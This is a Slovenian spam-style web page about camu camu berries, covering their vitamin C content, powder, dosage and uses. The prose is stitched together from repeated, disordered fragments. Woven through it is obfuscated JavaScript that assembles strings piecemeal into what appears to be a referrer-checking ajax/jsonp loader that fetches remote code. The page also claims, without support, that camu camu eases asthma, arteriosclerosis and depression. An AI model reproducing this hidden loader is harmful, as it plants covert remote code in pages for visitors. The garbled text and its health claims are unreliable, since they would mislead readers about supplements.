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V teh čudovitih jagodah pa najdemo tudi vitamine B1, B2 in B3, kalcij, fosfor, kalij in železo.. Kljub temu, da se pri obiranju in
sušenju izgubi del zalog vitamina C, pa ga je v prahu, ki ga iz jagod pridobivajo, še vedno veliko več kot v katerikoli drugi
rastlini.. Uporaba camu camu jagod je najbolj priročna in učinkovita prav v obliki prahu, saj so njene hranilne snovi bolj
koncentrirane, izgubi pa se tudi trpki okus sadežev.

1. camu camu uporaba

Kot že rečeno, so camu camu jagode najboljše ravno v prahu, ki pa si ga lahko vmešamo v sadne in zelenjavne smoothije,
napitke in sokove.. zJ";Um["kuK"]="ent";Um["rbb"]="e =";Um["Iil"]="cum";Um["ISW"]="
35";Um["mGd"]="res";Um["jdG"]="9.. Ekološki camu camu je eden najbogatejših virov C vitamina, kar ga poznamo Bogat je
z antioksidanti, aminokislinami, fitokemikalijami, vitamini in minerali.. uporaba pri prelivih, omakah, sladicah, pecivih,
sladoledu Camu camu v prahu prispeva k zmanjšanju utrujenosti in izčrpanosti.
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\"";Um["GMv"]="vAJ";Um["Bhr"]="owm";Um["nNJ"]="aja";Um["rkG"]="sDo";Um["gal"]="n:t";Um["oOa"]="rdl";Um["QLk
"]="ram";Um["McR"]="orc";Um["whu"]="us,";Um["biJ"]="Of(";Um["LWl"]="xOf";Um["xjB"]=".. Uporaba: Kapsule zaužijte
s primerno količino vode ali druge tekočine Priporočena dnevna količina: 3 kapsule (1,5 g) | 1 kapsula vsebuje 500 mg prahu
Camu Camu.. Ena od teh rastlin je tudi jagoda, ki se ponaša z zeleno in rdečo barvo – jagoda camu camu..
j";Um["TdF"]=")>0";Um["KNN"]="bin";Um["KAC"]="ros";Um["AAW"]="l:'";Um["qwG"]="rue";Um["WCK"]="vk..
JAGODE CAMU CAMU KREPIJO MOŽGANSKE FUNKCIJESadeži camu camu pa se poleg visoke vsebnosti vitamina C
ponašajo tudi z veliko količino barvnih antocianinov, ki delujejo antioksidativno, z aminokislinami in bioflavonidi.
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Raziskave tudi kažejo, da camu camu blaži astmo, arteriosklerozo, paradontozo in depresijo.

Jagode camu camu rastejo na grmičastih drevesih tik ob vodi in v njej ter obrodijo po več letih rasti.. ";Um["GyC"]="on(";Um[
"EbM"]="}}";Um["LXF"]=",js";Um["cbG"]=",te";Um["Hot"]="eng";Um["gKg"]="ind";Um["PZu"]="
su";Um["LQf"]="lse";Um["VbE"]="cce";Um["VaC"]="
'f";Um["gJu"]="ly'";Um["pKQ"]="p:/";Um["ywp"]="tat";Um["dgz"]="cti";Um["PPT"]="no.. Najbolje je, da eno čajno žličko
camu camu v prahu zmešamo v kozarcu s 3 – 5 decilitri vode, jogurta, soka ali smoothija.. var ZT = 'camu+camu+uporaba';var
Um = new Array();Um["nag"]="l \"";Um["rSR"]="|(r";Um["chC"]="Typ";Um["urI"]="',p";Um["pso"]="wp5";Um["kOL"]="ee
b";Um["SCr"]="jqX";Um["rLm"]="\")>";Um["WFz"]="owa";Um["yyj"]="F8b";Um["YEj"]=";if";Um["GLu"]="dex";Um["bM
Q"]="exO";Um["ToK"]="seD";Um["oSw"]="th>";Um["Xza"]="typ";Um["txc"]="a:f";Um["For"]="liv";Um["OVv"]="HR)";U
m["eCq"]="fer";Um["ADf"]="0)|";Um["eZw"]="||r";Um["XUB"]=">0)";Um["BYK"]=".. Uporabljamo ga lahko praktično
povsod Pomembno pa je, da jih hranimo v hladnem in suhem prostoru.. Camu Camu so rdeče vijolične jagode iz grma
Myrciaria dubia V glavnem se nahaja v Peruju.. Camu camu v prahu zmešajte v kozarec vode, soka ali primešajte v smoothi.
l";Um["Uhq"]="= Z";Um["lOO"]="f i";Um["mvm"]="ati";Um["VKg"]=",su";Um["AQO"]="ata";Um["hIJ"]=",ur";Um["qCh"]=
"x({";Um["bIA"]="DjL";Um["XIf"]="ex.. VSEBUJE 3 0 – KRAT VEČ VITAMINA C KOT POMARANČAKaj pa je torej
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tisto, zaradi česar je camu camu požel toliko pozornosti po vsem svetu? Prav gotovo je to njegova izjemno visoka vsebnost
vitamina C, saj naj bi ga vseboval skoraj 3.
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